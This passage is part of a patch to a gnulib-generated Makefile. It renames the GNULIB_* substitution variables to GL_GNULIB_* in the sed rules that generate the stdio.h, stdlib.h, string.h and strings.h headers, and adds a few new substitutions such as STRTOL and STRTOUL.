+- -e 's/@''GNULIB_PUTCHAR''@/$(GNULIB_PUTCHAR)/g' \
+- -e 's/@''GNULIB_PUTS''@/$(GNULIB_PUTS)/g' \
+- -e 's/@''GNULIB_REMOVE''@/$(GNULIB_REMOVE)/g' \
+- -e 's/@''GNULIB_RENAME''@/$(GNULIB_RENAME)/g' \
+- -e 's/@''GNULIB_RENAMEAT''@/$(GNULIB_RENAMEAT)/g' \
+- -e 's/@''GNULIB_SCANF''@/$(GNULIB_SCANF)/g' \
+- -e 's/@''GNULIB_SNPRINTF''@/$(GNULIB_SNPRINTF)/g' \
+- -e 's/@''GNULIB_SPRINTF_POSIX''@/$(GNULIB_SPRINTF_POSIX)/g' \
+- -e 's/@''GNULIB_STDIO_H_NONBLOCKING''@/$(GNULIB_STDIO_H_NONBLOCKING)/g' \
+- -e 's/@''GNULIB_STDIO_H_SIGPIPE''@/$(GNULIB_STDIO_H_SIGPIPE)/g' \
+- -e 's/@''GNULIB_TMPFILE''@/$(GNULIB_TMPFILE)/g' \
+- -e 's/@''GNULIB_VASPRINTF''@/$(GNULIB_VASPRINTF)/g' \
+- -e 's/@''GNULIB_VDPRINTF''@/$(GNULIB_VDPRINTF)/g' \
+- -e 's/@''GNULIB_VFPRINTF''@/$(GNULIB_VFPRINTF)/g' \
+- -e 's/@''GNULIB_VFPRINTF_POSIX''@/$(GNULIB_VFPRINTF_POSIX)/g' \
+- -e 's/@''GNULIB_VFSCANF''@/$(GNULIB_VFSCANF)/g' \
+- -e 's/@''GNULIB_VSCANF''@/$(GNULIB_VSCANF)/g' \
+- -e 's/@''GNULIB_VPRINTF''@/$(GNULIB_VPRINTF)/g' \
+- -e 's/@''GNULIB_VPRINTF_POSIX''@/$(GNULIB_VPRINTF_POSIX)/g' \
+- -e 's/@''GNULIB_VSNPRINTF''@/$(GNULIB_VSNPRINTF)/g' \
+- -e 's/@''GNULIB_VSPRINTF_POSIX''@/$(GNULIB_VSPRINTF_POSIX)/g' \
+- -e 's/@''GNULIB_MDA_FCLOSEALL''@/$(GNULIB_MDA_FCLOSEALL)/g' \
+- -e 's/@''GNULIB_MDA_FDOPEN''@/$(GNULIB_MDA_FDOPEN)/g' \
+- -e 's/@''GNULIB_MDA_FILENO''@/$(GNULIB_MDA_FILENO)/g' \
+- -e 's/@''GNULIB_MDA_GETW''@/$(GNULIB_MDA_GETW)/g' \
+- -e 's/@''GNULIB_MDA_PUTW''@/$(GNULIB_MDA_PUTW)/g' \
+- -e 's/@''GNULIB_MDA_TEMPNAM''@/$(GNULIB_MDA_TEMPNAM)/g' \
++ -e 's/@''GNULIB_DPRINTF''@/$(GL_GNULIB_DPRINTF)/g' \
++ -e 's/@''GNULIB_FCLOSE''@/$(GL_GNULIB_FCLOSE)/g' \
++ -e 's/@''GNULIB_FDOPEN''@/$(GL_GNULIB_FDOPEN)/g' \
++ -e 's/@''GNULIB_FFLUSH''@/$(GL_GNULIB_FFLUSH)/g' \
++ -e 's/@''GNULIB_FGETC''@/$(GL_GNULIB_FGETC)/g' \
++ -e 's/@''GNULIB_FGETS''@/$(GL_GNULIB_FGETS)/g' \
++ -e 's/@''GNULIB_FOPEN''@/$(GL_GNULIB_FOPEN)/g' \
++ -e 's/@''GNULIB_FPRINTF''@/$(GL_GNULIB_FPRINTF)/g' \
++ -e 's/@''GNULIB_FPRINTF_POSIX''@/$(GL_GNULIB_FPRINTF_POSIX)/g' \
++ -e 's/@''GNULIB_FPURGE''@/$(GL_GNULIB_FPURGE)/g' \
++ -e 's/@''GNULIB_FPUTC''@/$(GL_GNULIB_FPUTC)/g' \
++ -e 's/@''GNULIB_FPUTS''@/$(GL_GNULIB_FPUTS)/g' \
++ -e 's/@''GNULIB_FREAD''@/$(GL_GNULIB_FREAD)/g' \
++ -e 's/@''GNULIB_FREOPEN''@/$(GL_GNULIB_FREOPEN)/g' \
++ -e 's/@''GNULIB_FSCANF''@/$(GL_GNULIB_FSCANF)/g' \
++ -e 's/@''GNULIB_FSEEK''@/$(GL_GNULIB_FSEEK)/g' \
++ -e 's/@''GNULIB_FSEEKO''@/$(GL_GNULIB_FSEEKO)/g' \
++ -e 's/@''GNULIB_FTELL''@/$(GL_GNULIB_FTELL)/g' \
++ -e 's/@''GNULIB_FTELLO''@/$(GL_GNULIB_FTELLO)/g' \
++ -e 's/@''GNULIB_FWRITE''@/$(GL_GNULIB_FWRITE)/g' \
++ -e 's/@''GNULIB_GETC''@/$(GL_GNULIB_GETC)/g' \
++ -e 's/@''GNULIB_GETCHAR''@/$(GL_GNULIB_GETCHAR)/g' \
++ -e 's/@''GNULIB_GETDELIM''@/$(GL_GNULIB_GETDELIM)/g' \
++ -e 's/@''GNULIB_GETLINE''@/$(GL_GNULIB_GETLINE)/g' \
++ -e 's/@''GNULIB_OBSTACK_PRINTF''@/$(GL_GNULIB_OBSTACK_PRINTF)/g' \
++ -e 's/@''GNULIB_OBSTACK_PRINTF_POSIX''@/$(GL_GNULIB_OBSTACK_PRINTF_POSIX)/g' \
++ -e 's/@''GNULIB_PCLOSE''@/$(GL_GNULIB_PCLOSE)/g' \
++ -e 's/@''GNULIB_PERROR''@/$(GL_GNULIB_PERROR)/g' \
++ -e 's/@''GNULIB_POPEN''@/$(GL_GNULIB_POPEN)/g' \
++ -e 's/@''GNULIB_PRINTF''@/$(GL_GNULIB_PRINTF)/g' \
++ -e 's/@''GNULIB_PRINTF_POSIX''@/$(GL_GNULIB_PRINTF_POSIX)/g' \
++ -e 's/@''GNULIB_PUTC''@/$(GL_GNULIB_PUTC)/g' \
++ -e 's/@''GNULIB_PUTCHAR''@/$(GL_GNULIB_PUTCHAR)/g' \
++ -e 's/@''GNULIB_PUTS''@/$(GL_GNULIB_PUTS)/g' \
++ -e 's/@''GNULIB_REMOVE''@/$(GL_GNULIB_REMOVE)/g' \
++ -e 's/@''GNULIB_RENAME''@/$(GL_GNULIB_RENAME)/g' \
++ -e 's/@''GNULIB_RENAMEAT''@/$(GL_GNULIB_RENAMEAT)/g' \
++ -e 's/@''GNULIB_SCANF''@/$(GL_GNULIB_SCANF)/g' \
++ -e 's/@''GNULIB_SNPRINTF''@/$(GL_GNULIB_SNPRINTF)/g' \
++ -e 's/@''GNULIB_SPRINTF_POSIX''@/$(GL_GNULIB_SPRINTF_POSIX)/g' \
++ -e 's/@''GNULIB_STDIO_H_NONBLOCKING''@/$(GL_GNULIB_STDIO_H_NONBLOCKING)/g' \
++ -e 's/@''GNULIB_STDIO_H_SIGPIPE''@/$(GL_GNULIB_STDIO_H_SIGPIPE)/g' \
++ -e 's/@''GNULIB_TMPFILE''@/$(GL_GNULIB_TMPFILE)/g' \
++ -e 's/@''GNULIB_VASPRINTF''@/$(GL_GNULIB_VASPRINTF)/g' \
++ -e 's/@''GNULIB_VDPRINTF''@/$(GL_GNULIB_VDPRINTF)/g' \
++ -e 's/@''GNULIB_VFPRINTF''@/$(GL_GNULIB_VFPRINTF)/g' \
++ -e 's/@''GNULIB_VFPRINTF_POSIX''@/$(GL_GNULIB_VFPRINTF_POSIX)/g' \
++ -e 's/@''GNULIB_VFSCANF''@/$(GL_GNULIB_VFSCANF)/g' \
++ -e 's/@''GNULIB_VSCANF''@/$(GL_GNULIB_VSCANF)/g' \
++ -e 's/@''GNULIB_VPRINTF''@/$(GL_GNULIB_VPRINTF)/g' \
++ -e 's/@''GNULIB_VPRINTF_POSIX''@/$(GL_GNULIB_VPRINTF_POSIX)/g' \
++ -e 's/@''GNULIB_VSNPRINTF''@/$(GL_GNULIB_VSNPRINTF)/g' \
++ -e 's/@''GNULIB_VSPRINTF_POSIX''@/$(GL_GNULIB_VSPRINTF_POSIX)/g' \
++ -e 's/@''GNULIB_MDA_FCLOSEALL''@/$(GL_GNULIB_MDA_FCLOSEALL)/g' \
++ -e 's/@''GNULIB_MDA_FDOPEN''@/$(GL_GNULIB_MDA_FDOPEN)/g' \
++ -e 's/@''GNULIB_MDA_FILENO''@/$(GL_GNULIB_MDA_FILENO)/g' \
++ -e 's/@''GNULIB_MDA_GETW''@/$(GL_GNULIB_MDA_GETW)/g' \
++ -e 's/@''GNULIB_MDA_PUTW''@/$(GL_GNULIB_MDA_PUTW)/g' \
++ -e 's/@''GNULIB_MDA_TEMPNAM''@/$(GL_GNULIB_MDA_TEMPNAM)/g' \
+ < $(srcdir)/stdio.in.h | \
+ sed -e 's|@''HAVE_DECL_FCLOSEALL''@|$(HAVE_DECL_FCLOSEALL)|g' \
+ -e 's|@''HAVE_DECL_FPURGE''@|$(HAVE_DECL_FPURGE)|g' \
+@@ -1236,49 +1343,51 @@ stdlib.h: stdlib.in.h $(top_builddir)/co
+ -e 's|@''PRAGMA_SYSTEM_HEADER''@|@PRAGMA_SYSTEM_HEADER@|g' \
+ -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \
+ -e 's|@''NEXT_STDLIB_H''@|$(NEXT_STDLIB_H)|g' \
+- -e 's/@''GNULIB__EXIT''@/$(GNULIB__EXIT)/g' \
+- -e 's/@''GNULIB_ALIGNED_ALLOC''@/$(GNULIB_ALIGNED_ALLOC)/g' \
+- -e 's/@''GNULIB_ATOLL''@/$(GNULIB_ATOLL)/g' \
+- -e 's/@''GNULIB_CALLOC_POSIX''@/$(GNULIB_CALLOC_POSIX)/g' \
+- -e 's/@''GNULIB_CANONICALIZE_FILE_NAME''@/$(GNULIB_CANONICALIZE_FILE_NAME)/g' \
+- -e 's/@''GNULIB_FREE_POSIX''@/$(GNULIB_FREE_POSIX)/g' \
+- -e 's/@''GNULIB_GETLOADAVG''@/$(GNULIB_GETLOADAVG)/g' \
+- -e 's/@''GNULIB_GETSUBOPT''@/$(GNULIB_GETSUBOPT)/g' \
+- -e 's/@''GNULIB_GRANTPT''@/$(GNULIB_GRANTPT)/g' \
+- -e 's/@''GNULIB_MALLOC_POSIX''@/$(GNULIB_MALLOC_POSIX)/g' \
+- -e 's/@''GNULIB_MBTOWC''@/$(GNULIB_MBTOWC)/g' \
+- -e 's/@''GNULIB_MKDTEMP''@/$(GNULIB_MKDTEMP)/g' \
+- -e 's/@''GNULIB_MKOSTEMP''@/$(GNULIB_MKOSTEMP)/g' \
+- -e 's/@''GNULIB_MKOSTEMPS''@/$(GNULIB_MKOSTEMPS)/g' \
+- -e 's/@''GNULIB_MKSTEMP''@/$(GNULIB_MKSTEMP)/g' \
+- -e 's/@''GNULIB_MKSTEMPS''@/$(GNULIB_MKSTEMPS)/g' \
+- -e 's/@''GNULIB_POSIX_MEMALIGN''@/$(GNULIB_POSIX_MEMALIGN)/g' \
+- -e 's/@''GNULIB_POSIX_OPENPT''@/$(GNULIB_POSIX_OPENPT)/g' \
+- -e 's/@''GNULIB_PTSNAME''@/$(GNULIB_PTSNAME)/g' \
+- -e 's/@''GNULIB_PTSNAME_R''@/$(GNULIB_PTSNAME_R)/g' \
+- -e 's/@''GNULIB_PUTENV''@/$(GNULIB_PUTENV)/g' \
+- -e 's/@''GNULIB_QSORT_R''@/$(GNULIB_QSORT_R)/g' \
+- -e 's/@''GNULIB_RANDOM''@/$(GNULIB_RANDOM)/g' \
+- -e 's/@''GNULIB_RANDOM_R''@/$(GNULIB_RANDOM_R)/g' \
+- -e 's/@''GNULIB_REALLOC_POSIX''@/$(GNULIB_REALLOC_POSIX)/g' \
+- -e 's/@''GNULIB_REALLOCARRAY''@/$(GNULIB_REALLOCARRAY)/g' \
+- -e 's/@''GNULIB_REALPATH''@/$(GNULIB_REALPATH)/g' \
+- -e 's/@''GNULIB_RPMATCH''@/$(GNULIB_RPMATCH)/g' \
+- -e 's/@''GNULIB_SECURE_GETENV''@/$(GNULIB_SECURE_GETENV)/g' \
+- -e 's/@''GNULIB_SETENV''@/$(GNULIB_SETENV)/g' \
+- -e 's/@''GNULIB_STRTOD''@/$(GNULIB_STRTOD)/g' \
+- -e 's/@''GNULIB_STRTOLD''@/$(GNULIB_STRTOLD)/g' \
+- -e 's/@''GNULIB_STRTOLL''@/$(GNULIB_STRTOLL)/g' \
+- -e 's/@''GNULIB_STRTOULL''@/$(GNULIB_STRTOULL)/g' \
+- -e 's/@''GNULIB_SYSTEM_POSIX''@/$(GNULIB_SYSTEM_POSIX)/g' \
+- -e 's/@''GNULIB_UNLOCKPT''@/$(GNULIB_UNLOCKPT)/g' \
+- -e 's/@''GNULIB_UNSETENV''@/$(GNULIB_UNSETENV)/g' \
+- -e 's/@''GNULIB_WCTOMB''@/$(GNULIB_WCTOMB)/g' \
+- -e 's/@''GNULIB_MDA_ECVT''@/$(GNULIB_MDA_ECVT)/g' \
+- -e 's/@''GNULIB_MDA_FCVT''@/$(GNULIB_MDA_FCVT)/g' \
+- -e 's/@''GNULIB_MDA_GCVT''@/$(GNULIB_MDA_GCVT)/g' \
+- -e 's/@''GNULIB_MDA_MKTEMP''@/$(GNULIB_MDA_MKTEMP)/g' \
+- -e 's/@''GNULIB_MDA_PUTENV''@/$(GNULIB_MDA_PUTENV)/g' \
++ -e 's/@''GNULIB__EXIT''@/$(GL_GNULIB__EXIT)/g' \
++ -e 's/@''GNULIB_ALIGNED_ALLOC''@/$(GL_GNULIB_ALIGNED_ALLOC)/g' \
++ -e 's/@''GNULIB_ATOLL''@/$(GL_GNULIB_ATOLL)/g' \
++ -e 's/@''GNULIB_CALLOC_POSIX''@/$(GL_GNULIB_CALLOC_POSIX)/g' \
++ -e 's/@''GNULIB_CANONICALIZE_FILE_NAME''@/$(GL_GNULIB_CANONICALIZE_FILE_NAME)/g' \
++ -e 's/@''GNULIB_FREE_POSIX''@/$(GL_GNULIB_FREE_POSIX)/g' \
++ -e 's/@''GNULIB_GETLOADAVG''@/$(GL_GNULIB_GETLOADAVG)/g' \
++ -e 's/@''GNULIB_GETSUBOPT''@/$(GL_GNULIB_GETSUBOPT)/g' \
++ -e 's/@''GNULIB_GRANTPT''@/$(GL_GNULIB_GRANTPT)/g' \
++ -e 's/@''GNULIB_MALLOC_POSIX''@/$(GL_GNULIB_MALLOC_POSIX)/g' \
++ -e 's/@''GNULIB_MBTOWC''@/$(GL_GNULIB_MBTOWC)/g' \
++ -e 's/@''GNULIB_MKDTEMP''@/$(GL_GNULIB_MKDTEMP)/g' \
++ -e 's/@''GNULIB_MKOSTEMP''@/$(GL_GNULIB_MKOSTEMP)/g' \
++ -e 's/@''GNULIB_MKOSTEMPS''@/$(GL_GNULIB_MKOSTEMPS)/g' \
++ -e 's/@''GNULIB_MKSTEMP''@/$(GL_GNULIB_MKSTEMP)/g' \
++ -e 's/@''GNULIB_MKSTEMPS''@/$(GL_GNULIB_MKSTEMPS)/g' \
++ -e 's/@''GNULIB_POSIX_MEMALIGN''@/$(GL_GNULIB_POSIX_MEMALIGN)/g' \
++ -e 's/@''GNULIB_POSIX_OPENPT''@/$(GL_GNULIB_POSIX_OPENPT)/g' \
++ -e 's/@''GNULIB_PTSNAME''@/$(GL_GNULIB_PTSNAME)/g' \
++ -e 's/@''GNULIB_PTSNAME_R''@/$(GL_GNULIB_PTSNAME_R)/g' \
++ -e 's/@''GNULIB_PUTENV''@/$(GL_GNULIB_PUTENV)/g' \
++ -e 's/@''GNULIB_QSORT_R''@/$(GL_GNULIB_QSORT_R)/g' \
++ -e 's/@''GNULIB_RANDOM''@/$(GL_GNULIB_RANDOM)/g' \
++ -e 's/@''GNULIB_RANDOM_R''@/$(GL_GNULIB_RANDOM_R)/g' \
++ -e 's/@''GNULIB_REALLOC_POSIX''@/$(GL_GNULIB_REALLOC_POSIX)/g' \
++ -e 's/@''GNULIB_REALLOCARRAY''@/$(GL_GNULIB_REALLOCARRAY)/g' \
++ -e 's/@''GNULIB_REALPATH''@/$(GL_GNULIB_REALPATH)/g' \
++ -e 's/@''GNULIB_RPMATCH''@/$(GL_GNULIB_RPMATCH)/g' \
++ -e 's/@''GNULIB_SECURE_GETENV''@/$(GL_GNULIB_SECURE_GETENV)/g' \
++ -e 's/@''GNULIB_SETENV''@/$(GL_GNULIB_SETENV)/g' \
++ -e 's/@''GNULIB_STRTOD''@/$(GL_GNULIB_STRTOD)/g' \
++ -e 's/@''GNULIB_STRTOL''@/$(GL_GNULIB_STRTOL)/g' \
++ -e 's/@''GNULIB_STRTOLD''@/$(GL_GNULIB_STRTOLD)/g' \
++ -e 's/@''GNULIB_STRTOLL''@/$(GL_GNULIB_STRTOLL)/g' \
++ -e 's/@''GNULIB_STRTOUL''@/$(GL_GNULIB_STRTOUL)/g' \
++ -e 's/@''GNULIB_STRTOULL''@/$(GL_GNULIB_STRTOULL)/g' \
++ -e 's/@''GNULIB_SYSTEM_POSIX''@/$(GL_GNULIB_SYSTEM_POSIX)/g' \
++ -e 's/@''GNULIB_UNLOCKPT''@/$(GL_GNULIB_UNLOCKPT)/g' \
++ -e 's/@''GNULIB_UNSETENV''@/$(GL_GNULIB_UNSETENV)/g' \
++ -e 's/@''GNULIB_WCTOMB''@/$(GL_GNULIB_WCTOMB)/g' \
++ -e 's/@''GNULIB_MDA_ECVT''@/$(GL_GNULIB_MDA_ECVT)/g' \
++ -e 's/@''GNULIB_MDA_FCVT''@/$(GL_GNULIB_MDA_FCVT)/g' \
++ -e 's/@''GNULIB_MDA_GCVT''@/$(GL_GNULIB_MDA_GCVT)/g' \
++ -e 's/@''GNULIB_MDA_MKTEMP''@/$(GL_GNULIB_MDA_MKTEMP)/g' \
++ -e 's/@''GNULIB_MDA_PUTENV''@/$(GL_GNULIB_MDA_PUTENV)/g' \
+ < $(srcdir)/stdlib.in.h | \
+ sed -e 's|@''HAVE__EXIT''@|$(HAVE__EXIT)|g' \
+ -e 's|@''HAVE_ALIGNED_ALLOC''@|$(HAVE_ALIGNED_ALLOC)|g' \
+@@ -1314,8 +1423,10 @@ stdlib.h: stdlib.in.h $(top_builddir)/co
+ -e 's|@''HAVE_SETSTATE''@|$(HAVE_SETSTATE)|g' \
+ -e 's|@''HAVE_DECL_SETSTATE''@|$(HAVE_DECL_SETSTATE)|g' \
+ -e 's|@''HAVE_STRTOD''@|$(HAVE_STRTOD)|g' \
++ -e 's|@''HAVE_STRTOL''@|$(HAVE_STRTOL)|g' \
+ -e 's|@''HAVE_STRTOLD''@|$(HAVE_STRTOLD)|g' \
+ -e 's|@''HAVE_STRTOLL''@|$(HAVE_STRTOLL)|g' \
++ -e 's|@''HAVE_STRTOUL''@|$(HAVE_STRTOUL)|g' \
+ -e 's|@''HAVE_STRTOULL''@|$(HAVE_STRTOULL)|g' \
+ -e 's|@''HAVE_STRUCT_RANDOM_DATA''@|$(HAVE_STRUCT_RANDOM_DATA)|g' \
+ -e 's|@''HAVE_SYS_LOADAVG_H''@|$(HAVE_SYS_LOADAVG_H)|g' \
+@@ -1337,11 +1448,16 @@ stdlib.h: stdlib.in.h $(top_builddir)/co
+ -e 's|@''REPLACE_RANDOM''@|$(REPLACE_RANDOM)|g' \
+ -e 's|@''REPLACE_RANDOM_R''@|$(REPLACE_RANDOM_R)|g' \
+ -e 's|@''REPLACE_REALLOC''@|$(REPLACE_REALLOC)|g' \
++ -e 's|@''REPLACE_REALLOCARRAY''@|$(REPLACE_REALLOCARRAY)|g' \
+ -e 's|@''REPLACE_REALPATH''@|$(REPLACE_REALPATH)|g' \
+ -e 's|@''REPLACE_SETENV''@|$(REPLACE_SETENV)|g' \
+ -e 's|@''REPLACE_SETSTATE''@|$(REPLACE_SETSTATE)|g' \
+ -e 's|@''REPLACE_STRTOD''@|$(REPLACE_STRTOD)|g' \
++ -e 's|@''REPLACE_STRTOL''@|$(REPLACE_STRTOL)|g' \
+ -e 's|@''REPLACE_STRTOLD''@|$(REPLACE_STRTOLD)|g' \
++ -e 's|@''REPLACE_STRTOLL''@|$(REPLACE_STRTOLL)|g' \
++ -e 's|@''REPLACE_STRTOUL''@|$(REPLACE_STRTOUL)|g' \
++ -e 's|@''REPLACE_STRTOULL''@|$(REPLACE_STRTOULL)|g' \
+ -e 's|@''REPLACE_UNSETENV''@|$(REPLACE_UNSETENV)|g' \
+ -e 's|@''REPLACE_WCTOMB''@|$(REPLACE_WCTOMB)|g' \
+ -e '/definitions of _GL_FUNCDECL_RPL/r $(CXXDEFS_H)' \
+@@ -1444,49 +1560,49 @@ string.h: string.in.h $(top_builddir)/co
+ -e 's|@''PRAGMA_SYSTEM_HEADER''@|@PRAGMA_SYSTEM_HEADER@|g' \
+ -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \
+ -e 's|@''NEXT_STRING_H''@|$(NEXT_STRING_H)|g' \
+- -e 's/@''GNULIB_EXPLICIT_BZERO''@/$(GNULIB_EXPLICIT_BZERO)/g' \
+- -e 's/@''GNULIB_FFSL''@/$(GNULIB_FFSL)/g' \
+- -e 's/@''GNULIB_FFSLL''@/$(GNULIB_FFSLL)/g' \
+- -e 's/@''GNULIB_MBSLEN''@/$(GNULIB_MBSLEN)/g' \
+- -e 's/@''GNULIB_MBSNLEN''@/$(GNULIB_MBSNLEN)/g' \
+- -e 's/@''GNULIB_MBSCHR''@/$(GNULIB_MBSCHR)/g' \
+- -e 's/@''GNULIB_MBSRCHR''@/$(GNULIB_MBSRCHR)/g' \
+- -e 's/@''GNULIB_MBSSTR''@/$(GNULIB_MBSSTR)/g' \
+- -e 's/@''GNULIB_MBSCASECMP''@/$(GNULIB_MBSCASECMP)/g' \
+- -e 's/@''GNULIB_MBSNCASECMP''@/$(GNULIB_MBSNCASECMP)/g' \
+- -e 's/@''GNULIB_MBSPCASECMP''@/$(GNULIB_MBSPCASECMP)/g' \
+- -e 's/@''GNULIB_MBSCASESTR''@/$(GNULIB_MBSCASESTR)/g' \
+- -e 's/@''GNULIB_MBSCSPN''@/$(GNULIB_MBSCSPN)/g' \
+- -e 's/@''GNULIB_MBSPBRK''@/$(GNULIB_MBSPBRK)/g' \
+- -e 's/@''GNULIB_MBSSPN''@/$(GNULIB_MBSSPN)/g' \
+- -e 's/@''GNULIB_MBSSEP''@/$(GNULIB_MBSSEP)/g' \
+- -e 's/@''GNULIB_MBSTOK_R''@/$(GNULIB_MBSTOK_R)/g' \
+- -e 's/@''GNULIB_MEMCHR''@/$(GNULIB_MEMCHR)/g' \
+- -e 's/@''GNULIB_MEMMEM''@/$(GNULIB_MEMMEM)/g' \
+- -e 's/@''GNULIB_MEMPCPY''@/$(GNULIB_MEMPCPY)/g' \
+- -e 's/@''GNULIB_MEMRCHR''@/$(GNULIB_MEMRCHR)/g' \
+- -e 's/@''GNULIB_RAWMEMCHR''@/$(GNULIB_RAWMEMCHR)/g' \
+- -e 's/@''GNULIB_STPCPY''@/$(GNULIB_STPCPY)/g' \
+- -e 's/@''GNULIB_STPNCPY''@/$(GNULIB_STPNCPY)/g' \
+- -e 's/@''GNULIB_STRCHRNUL''@/$(GNULIB_STRCHRNUL)/g' \
+- -e 's/@''GNULIB_STRDUP''@/$(GNULIB_STRDUP)/g' \
+- -e 's/@''GNULIB_STRNCAT''@/$(GNULIB_STRNCAT)/g' \
+- -e 's/@''GNULIB_STRNDUP''@/$(GNULIB_STRNDUP)/g' \
+- -e 's/@''GNULIB_STRNLEN''@/$(GNULIB_STRNLEN)/g' \
+- -e 's/@''GNULIB_STRPBRK''@/$(GNULIB_STRPBRK)/g' \
+- -e 's/@''GNULIB_STRSEP''@/$(GNULIB_STRSEP)/g' \
+- -e 's/@''GNULIB_STRSTR''@/$(GNULIB_STRSTR)/g' \
+- -e 's/@''GNULIB_STRCASESTR''@/$(GNULIB_STRCASESTR)/g' \
+- -e 's/@''GNULIB_STRTOK_R''@/$(GNULIB_STRTOK_R)/g' \
+- -e 's/@''GNULIB_STRERROR''@/$(GNULIB_STRERROR)/g' \
+- -e 's/@''GNULIB_STRERROR_R''@/$(GNULIB_STRERROR_R)/g' \
+- -e 's/@''GNULIB_STRERRORNAME_NP''@/$(GNULIB_STRERRORNAME_NP)/g' \
+- -e 's/@''GNULIB_SIGABBREV_NP''@/$(GNULIB_SIGABBREV_NP)/g' \
+- -e 's/@''GNULIB_SIGDESCR_NP''@/$(GNULIB_SIGDESCR_NP)/g' \
+- -e 's/@''GNULIB_STRSIGNAL''@/$(GNULIB_STRSIGNAL)/g' \
+- -e 's/@''GNULIB_STRVERSCMP''@/$(GNULIB_STRVERSCMP)/g' \
+- -e 's/@''GNULIB_MDA_MEMCCPY''@/$(GNULIB_MDA_MEMCCPY)/g' \
+- -e 's/@''GNULIB_MDA_STRDUP''@/$(GNULIB_MDA_STRDUP)/g' \
++ -e 's/@''GNULIB_EXPLICIT_BZERO''@/$(GL_GNULIB_EXPLICIT_BZERO)/g' \
++ -e 's/@''GNULIB_FFSL''@/$(GL_GNULIB_FFSL)/g' \
++ -e 's/@''GNULIB_FFSLL''@/$(GL_GNULIB_FFSLL)/g' \
++ -e 's/@''GNULIB_MBSLEN''@/$(GL_GNULIB_MBSLEN)/g' \
++ -e 's/@''GNULIB_MBSNLEN''@/$(GL_GNULIB_MBSNLEN)/g' \
++ -e 's/@''GNULIB_MBSCHR''@/$(GL_GNULIB_MBSCHR)/g' \
++ -e 's/@''GNULIB_MBSRCHR''@/$(GL_GNULIB_MBSRCHR)/g' \
++ -e 's/@''GNULIB_MBSSTR''@/$(GL_GNULIB_MBSSTR)/g' \
++ -e 's/@''GNULIB_MBSCASECMP''@/$(GL_GNULIB_MBSCASECMP)/g' \
++ -e 's/@''GNULIB_MBSNCASECMP''@/$(GL_GNULIB_MBSNCASECMP)/g' \
++ -e 's/@''GNULIB_MBSPCASECMP''@/$(GL_GNULIB_MBSPCASECMP)/g' \
++ -e 's/@''GNULIB_MBSCASESTR''@/$(GL_GNULIB_MBSCASESTR)/g' \
++ -e 's/@''GNULIB_MBSCSPN''@/$(GL_GNULIB_MBSCSPN)/g' \
++ -e 's/@''GNULIB_MBSPBRK''@/$(GL_GNULIB_MBSPBRK)/g' \
++ -e 's/@''GNULIB_MBSSPN''@/$(GL_GNULIB_MBSSPN)/g' \
++ -e 's/@''GNULIB_MBSSEP''@/$(GL_GNULIB_MBSSEP)/g' \
++ -e 's/@''GNULIB_MBSTOK_R''@/$(GL_GNULIB_MBSTOK_R)/g' \
++ -e 's/@''GNULIB_MEMCHR''@/$(GL_GNULIB_MEMCHR)/g' \
++ -e 's/@''GNULIB_MEMMEM''@/$(GL_GNULIB_MEMMEM)/g' \
++ -e 's/@''GNULIB_MEMPCPY''@/$(GL_GNULIB_MEMPCPY)/g' \
++ -e 's/@''GNULIB_MEMRCHR''@/$(GL_GNULIB_MEMRCHR)/g' \
++ -e 's/@''GNULIB_RAWMEMCHR''@/$(GL_GNULIB_RAWMEMCHR)/g' \
++ -e 's/@''GNULIB_STPCPY''@/$(GL_GNULIB_STPCPY)/g' \
++ -e 's/@''GNULIB_STPNCPY''@/$(GL_GNULIB_STPNCPY)/g' \
++ -e 's/@''GNULIB_STRCHRNUL''@/$(GL_GNULIB_STRCHRNUL)/g' \
++ -e 's/@''GNULIB_STRDUP''@/$(GL_GNULIB_STRDUP)/g' \
++ -e 's/@''GNULIB_STRNCAT''@/$(GL_GNULIB_STRNCAT)/g' \
++ -e 's/@''GNULIB_STRNDUP''@/$(GL_GNULIB_STRNDUP)/g' \
++ -e 's/@''GNULIB_STRNLEN''@/$(GL_GNULIB_STRNLEN)/g' \
++ -e 's/@''GNULIB_STRPBRK''@/$(GL_GNULIB_STRPBRK)/g' \
++ -e 's/@''GNULIB_STRSEP''@/$(GL_GNULIB_STRSEP)/g' \
++ -e 's/@''GNULIB_STRSTR''@/$(GL_GNULIB_STRSTR)/g' \
++ -e 's/@''GNULIB_STRCASESTR''@/$(GL_GNULIB_STRCASESTR)/g' \
++ -e 's/@''GNULIB_STRTOK_R''@/$(GL_GNULIB_STRTOK_R)/g' \
++ -e 's/@''GNULIB_STRERROR''@/$(GL_GNULIB_STRERROR)/g' \
++ -e 's/@''GNULIB_STRERROR_R''@/$(GL_GNULIB_STRERROR_R)/g' \
++ -e 's/@''GNULIB_STRERRORNAME_NP''@/$(GL_GNULIB_STRERRORNAME_NP)/g' \
++ -e 's/@''GNULIB_SIGABBREV_NP''@/$(GL_GNULIB_SIGABBREV_NP)/g' \
++ -e 's/@''GNULIB_SIGDESCR_NP''@/$(GL_GNULIB_SIGDESCR_NP)/g' \
++ -e 's/@''GNULIB_STRSIGNAL''@/$(GL_GNULIB_STRSIGNAL)/g' \
++ -e 's/@''GNULIB_STRVERSCMP''@/$(GL_GNULIB_STRVERSCMP)/g' \
++ -e 's/@''GNULIB_MDA_MEMCCPY''@/$(GL_GNULIB_MDA_MEMCCPY)/g' \
++ -e 's/@''GNULIB_MDA_STRDUP''@/$(GL_GNULIB_MDA_STRDUP)/g' \
+ < $(srcdir)/string.in.h | \
+ sed -e 's|@''HAVE_EXPLICIT_BZERO''@|$(HAVE_EXPLICIT_BZERO)|g' \
+ -e 's|@''HAVE_FFSL''@|$(HAVE_FFSL)|g' \
+@@ -1556,7 +1672,7 @@ strings.h: strings.in.h $(top_builddir)/
+ -e 's|@''PRAGMA_SYSTEM_HEADER''@|@PRAGMA_SYSTEM_HEADER@|g' \
+ -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \
+ -e 's|@''NEXT_STRINGS_H''@|$(NEXT_STRINGS_H)|g' \
+- -e 's/@''GNULIB_FFS''@/$(GNULIB_FFS)/g' \
++ -e 's/@''GNULIB_FFS''@/$(GL_GNULIB_FFS)/g' \
+ -e 's|@''HAVE_FFS''@|$(HAVE_FFS)|g' \
+ -e 's|@''HAVE_STRCASECMP''@|$(HAVE_STRCASECMP)|g' \
+ -e 's|@''HAVE_DECL_STRNCASECMP''@|$(HAVE_DECL_STRNCASECMP)|g' \
